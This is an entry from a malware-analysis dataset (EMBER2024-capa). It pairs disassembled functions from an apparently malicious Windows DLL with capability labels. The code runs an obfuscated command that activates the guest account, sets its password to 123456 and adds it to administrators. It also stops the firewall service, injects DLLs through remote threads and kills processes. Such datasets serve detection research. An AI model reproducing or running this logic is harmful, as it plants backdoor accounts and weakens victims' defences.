joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010f30
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x54
push ebx
push esi
mov esi, ecx
mov bl, 0x53
mov cl, 0x4d
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0xe], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], al
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x13], al
mov cl, 0x73
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x60]
mov bl, 0x6e
mov dl, 0x63
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x21], bl
push eax
lea ecx, [esp + 0x38]
mov dl, 0x65
xor ebx, ebx
push 0x1002da0c
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x55
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x17], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x60]
lea eax, [esp + 0xc]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10011029
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret 4
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x34]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov eax, dword [esp + 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
lea edx, [esp + 0xf]
setne cl
add ecx, 0x85
push 1
mov byte [esp + 0x13], cl
push edx
mov ecx, esi
call fcn.10009070
lea eax, [esp + 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
add esp, 0x54
ret 4
Function at 0x10011080
Capabilities:
Add user account
Add user account to group

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 1
mov dword [esp + 0x18], 0
mov byte [esp + 0x17], 0
call fcn.10009110
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call ebp
add eax, 2
mov ecx, esi
push eax
call fcn.10009110
mov ebx, eax
push ebx
call ebp
mov edx, eax
push edi
mov dword [esp + 0x20], edx
call ebp
mov ecx, dword [esp + 0x1c]
lea edx, [ecx + eax + 3]
mov ecx, esi
push edx
call fcn.10009110
push edi
mov ebp, eax
call fcn.1000eef0
push ebx
mov dword [esp + 0x28], eax
call fcn.1000eef0
add esp, 8
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
mov edi, 1
push eax
xor ebx, ebx
push ecx
push edi
push ebx
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], ebx
call sub.NETAPI32.dll_NetUserAdd
test eax, eax
je 0x1001113a
lea edx, [esp + 0x13]
push edi
push edx
mov ecx, esi
mov byte [esp + 0x1b], 0x84
call fcn.10009070
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf8
ret
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x42]
mov word [esp + 0x40], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
push eax
push ecx
call sub.MSVCRT.dll_wcscpy
add esp, 8
lea eax, [esp + 0x18]
lea edx, [esp + 0x40]
push 1
push eax
push 3
push ebp
mov dword [esp + 0x28], edx
call fcn.1000eef0
add esp, 4
push eax
push ebx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
test eax, eax
setne cl
add ecx, 0x83
lea edx, [esp + 0x13]
mov byte [esp + 0x13], cl
push 1
push edx
mov ecx, esi
call fcn.10009070
mov ecx, esi
call fcn.10010d00
lea eax, [esp + 0x13]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf8
ret
Function at 0x100111c0
Capabilities:
Delete user account
Query or enumerate registry value

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 1
call fcn.10009110
mov edi, eax
mov byte [esp + 0x13], 0
push edi
call fcn.1000eef0
add esp, 4
push eax
push 0
call sub.NETAPI32.dll_NetUserDel
test eax, eax
jne 0x10011214
lea eax, [esp + 0x13]
push 1
push eax
mov ecx, ebx
mov byte [esp + 0x1b], 0x85
call fcn.10009070
mov ecx, ebx
call fcn.10010d00
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret
cmp eax, 0x8ad
je 0x100112c8
push edi
lea ecx, [esp + 0x48]
push str.SAMSAMDomainsAccountUsersNames_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea edx, [esp + 0x14]
lea eax, [esp + 0x44]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10011260
push 0x32
call ebp
inc esi
cmp esi, 0x64
jg 0x100112cf
jmp 0x1001123b
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0x1002f678
push ecx
mov dword [esp + 0x34], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
push eax
push str._08X
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, ebx
push edi
call fcn.10010f30
test eax, eax
je 0x100112c8
lea edx, [esp + 0x24]
mov ecx, ebx
push edx
call fcn.10010d30
test eax, eax
jne 0x100112cf
mov ecx, ebx
call fcn.10010d00
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret

Function at 0x100112e0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10024420
add eax, 1
adc edx, 0
push edx
push eax
push 0x1002d9ec
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x10011f00
Capabilities:
Acquire debug privileges
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.10014ab0
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x10011f59
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
push str.SeDebugPrivilege
call fcn.10014ab0
add esp, 8
mov eax, 1
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x10011fb0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x60
push ebx
mov cl, 0x65
mov dl, 0x74
mov al, 0x20
mov bl, 0x73
mov byte [esp + 4], 0x6e
mov byte [esp + 5], cl
mov byte [esp + 6], dl
mov byte [esp + 7], al
mov byte [esp + 8], 0x75
mov byte [esp + 9], bl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x72
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x2f
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x63
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x69
mov byte [esp + 0x18], 0x76
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x3a
mov byte [esp + 0x1b], 0x79
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x26
mov byte [esp + 0x20], 0x26
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], cl
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x67
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x31
mov byte [esp + 0x32], 0x32
mov byte [esp + 0x33], 0x33
mov byte [esp + 0x34], 0x34
mov byte [esp + 0x35], 0x35
mov byte [esp + 0x36], 0x36
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x26
mov byte [esp + 0x39], 0x26
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], al
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x63
mov byte [esp + 0x42], 0x61
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0x67
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x75
mov byte [esp + 0x48], 0x70
mov byte [esp + 0x49], al
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], 0x64
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x58], al
mov byte [esp + 0x5e], al
lea eax, [esp + 4]
push 0
push eax
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], dl
mov byte [esp + 0x5a], 0x72
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], dl
mov byte [esp + 0x5d], 0x6f
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], bl
mov byte [esp + 0x61], 0x67
mov byte [esp + 0x62], 0x75
mov byte [esp + 0x63], cl
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], dl
mov byte [esp + 0x67], 0x2f
mov byte [esp + 0x68], 0x61
mov byte [esp + 0x69], 0x64
mov byte [esp + 0x6a], 0x64
mov byte [esp + 0x6b], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
add esp, 0x60
ret
Function at 0x10012190
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x118
push ebx
mov ebx, dword [esp + 0x120]
push ebp
push esi
mov eax, dword [ebx]
mov ebp, dword [ebx + 4]
push edi
mov edi, ecx
lea ecx, [esp + 0x24]
push 0x104
push ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [edi + 0x24]
lea eax, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 2
lea ecx, [esp + 0x38]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x10]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x130]
lea eax, [esp + 0x20]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10009070
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret 8

Function at 0x10012290
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10012308
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10012360
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0x89
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.10009070
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x10012370
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push esi
xor eax, eax
mov esi, ecx
mov dword [esp + 4], eax
lea ecx, [esp + 0x10]
mov dword [esp + 8], eax
push 0x104
push ecx
mov byte [esp + 0x14], al
mov byte [esp + 0xc], 0x70
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esi + 0x24]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x100123e9
mov dword [esi + 0x128], 0
mov dword [esi + 0x12c], 0
pop esi
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 4]
push 9
push edx
mov ecx, esi
call fcn.10009070
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
add esp, 0x110
ret

Function at 0x10012420
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x1001244d
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x1001244f
xor eax, eax
add esp, 0x9c
ret

Function at 0x100124b0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012533
push ebx
lea eax, [esp + 0x10]
push ebp
push eax
push esi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10012518
mov ebx, dword [esp + 0x140]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x38]
push ecx
push ebx
call ebp
test eax, eax
je 0x1001250b
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100124ee
jmp 0x10012518
mov eax, dword [esp + 0x1c]
mov edi, 1
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
cmp edi, 1
pop ebx
jne 0x10012533
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x12c
ret
pop edi
xor eax, eax
pop esi
add esp, 0x12c
ret

Function at 0x10012540
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x100125c3
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x100125bf
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x100125c3
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x100125a1
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
Function at 0x100125e0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x28]
test esi, esi
push edi
jne 0x100125f5
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10012612
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov cl, 0x65
mov al, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 0x14]
mov dl, 0x6c
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x46
mov byte [esp + 0xd], al
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x100126c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret

Function at 0x100126f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1001275a
push ebx
mov ebx, dword [esp + 0x138]
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call fcn.10012540
add esp, 8
test eax, eax
je 0x1001274a
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.100125e0
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0xc]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10012723
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x128
ret
Function at 0x100127a6
Capabilities:
Acquire debug privileges
Enumerate gui resources

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._termsrv.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.10014ab0
lea edx, [esp + 8]
push edx
call fcn.100126f0
add esp, 0xc
test al, al
je 0x1001284c
push ebx
push edi
push 0
push str.SeDebugPrivilege
call fcn.10014ab0
push 1
push str.SeShutdownPrivilege
call fcn.10014ab0
push str.csrss.exe
call fcn.100124b0
mov ebx, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
add esp, 0x14
mov edi, eax
push 0
call ebx
test eax, eax
jne 0x1001283b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push str.drwtsn32.exe
call fcn.100124b0
add esp, 4
test eax, eax
je 0x10012825
push eax
push 0x10012460
call esi
push edi
push 0x10012460
call esi
push 0xa
call ebp
push 0
call ebx
test eax, eax
je 0x1001280c
pop esi
pop ebp
push 0
push str.SeShutdownPrivilege
call fcn.10014ab0
add esp, 8
pop edi
pop ebx
add esp, 0x104
ret

Function at 0x100128b0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025060
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esp
mov esi, ecx
push edi
mov dword [ebp - 0x290], esi
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
jbe 0x100139d9
cmp eax, 0xffff
jae 0x100139d9
lea eax, [ebp - 0x398]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x398]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.10012420
test al, al
je 0x10012952
lea edx, [ebp - 0x398]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001297c
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1001297c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov ecx, esi
call fcn.10011410
lea ecx, [ebp - 0x294]
push 0x10029990
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x294], 0x18
call sub.MSVCRT.dll__CxxThrowException
mov ecx, esi
call fcn.10012290
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.100113b0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10014790
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.Sleep
mov dword [ebp - 0xc], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.TerminateProcess
push str.KERNEL32.dll
call esi
push eax
call edi
mov ebx, eax
mov al, 0x65
mov byte [ebp - 0x14], al
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x18]
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], cl
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x13], 0x48
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xd], 0
call esi
push eax
call edi
push 1
push str.SeDebugPrivilege
mov dword [ebp - 4], eax
call fcn.10014ab0
add esp, 8
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0xc]
xor esi, esi
test eax, eax
jbe 0x10014869
mov ecx, dword [ebp + 8]
mov edx, dword [esi + ecx]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [ebp - 4]
mov eax, dword [ebp + 0xc]
add esi, 4
cmp esi, eax
jb 0x10014840
push 0
push str.SeDebugPrivilege
call fcn.10014ab0
add esp, 8
push 0x64
call dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov ecx, esi
call fcn.10014200
mov ecx, esi
call fcn.10014410
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8